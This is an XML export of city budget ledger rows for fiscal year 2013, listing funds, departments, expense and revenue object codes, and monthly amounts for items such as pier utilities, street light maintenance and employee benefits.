<row _id="2886"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>101578.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>101578.0</total></row>
<row _id="2887"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>96100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>96100.0</total></row>
<row _id="2888"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="2889"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>126898.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>126898.0</total></row>
<row _id="2890"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577300.0</object><object_description>PIER RESTORATION CORPORATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>482000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>200000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>682000.0</total></row>
<row _id="2891"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-3RD ST &amp; MISC</object_description><category_code>800.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>27482.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27482.0</total></row>
<row _id="2892"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTILITIES-WATER-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13770.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13770.0</total></row>
<row _id="2893"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522860.0</object><object_description>FUEL MANAGEMENT SYSTEMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2372.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2372.0</total></row>
<row _id="2894"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2730.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2730.0</total></row>
<row _id="2895"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>37149.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37149.0</total></row>
<row _id="2896"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>280178.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>280178.0</total></row>
<row _id="2897"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>48000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>48000.0</total></row>
<row _id="2898"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3416.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3416.0</total></row>
<row _id="2899"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1910.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1910.0</total></row>
<row _id="2900"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="2901"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544220.0</object><object_description>GRAFFITI PROGRAM MATERIALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>130000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>130000.0</total></row>
<row _id="2902"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555140.0</object><object_description>PEST CONTROL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="2903"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566330.0</object><object_description>STREET LIGHT MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>177000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>177000.0</total></row>
<row _id="2904"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>27695.0</july><august>0</august><september>0.0</september><october>-38.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27657.0</total></row>
<row _id="2905"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>441171.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4412</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>445583.0</total></row>
<row _id="2906"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>125135.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>125135.0</total></row>
<row _id="2907"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>958.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>958.0</total></row>
<row _id="2908"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>36862.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>369</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37231.0</total></row>
<row _id="2909"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>413.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>413.0</total></row>
<row _id="2910"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2831.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>28</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2859.0</total></row>
<row _id="2911"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2144.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>21</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2165.0</total></row>
<row _id="2912"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>345.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>345.0</total></row>
<row _id="2913"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561430.0</object><object_description>STEP OFF THE STREETS SHP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13325.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13325.0</total></row>
<row _id="2914"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522340.0</object><object_description>BUY LOCAL CAMPAIGN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="2915"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577725.0</object><object_description>STEP UP SANCTUARY-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>27063.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27063.0</total></row>
<row _id="2916"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403720.0</object><object_description>HUD SERIAL INEBRIATE GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-21672.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-21672.0</total></row>
<row _id="2917"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404211.0</object><object_description>OTHER OPER REV-OUTSIDE ADVERTI</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-150000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-150000.0</total></row>
<row _id="2918"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567220.0</object><object_description>PFA 2011A (PKG ST 6)</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2670931.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2670931.0</total></row>
<row _id="2919"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="2920"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>144.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="2921"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3658.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3658.0</total></row>
<row _id="2922"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3483.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>35</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3518.0</total></row>
<row _id="2923"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="2924"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="2925"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="2926"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408210.0</object><object_description>BIKE TECHNO DEMO-MTA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-209000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-27586.29</march><april>0</april><may>0</may><june>0.0</june><total>-236586.29</total></row>
<row _id="2927"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>407780.0</object><object_description>FIBER OPTIC SERVICES</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-1300000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-200000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1500000.0</total></row>
<row _id="2928"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4751.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>708</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5459.0</total></row>
<row _id="2929"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1252.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>146</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1398.0</total></row>
<row _id="2930"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>284.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>42</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>326.0</total></row>
<row _id="2931"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2003.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>270</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2273.0</total></row>
<row _id="2932"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>404860.0</object><object_description>1630 5TH LOT 29 (5TH &amp; COLORA)</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-45000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>45000</april><may>0</may><june>0.0</june><total>0.0</total></row>
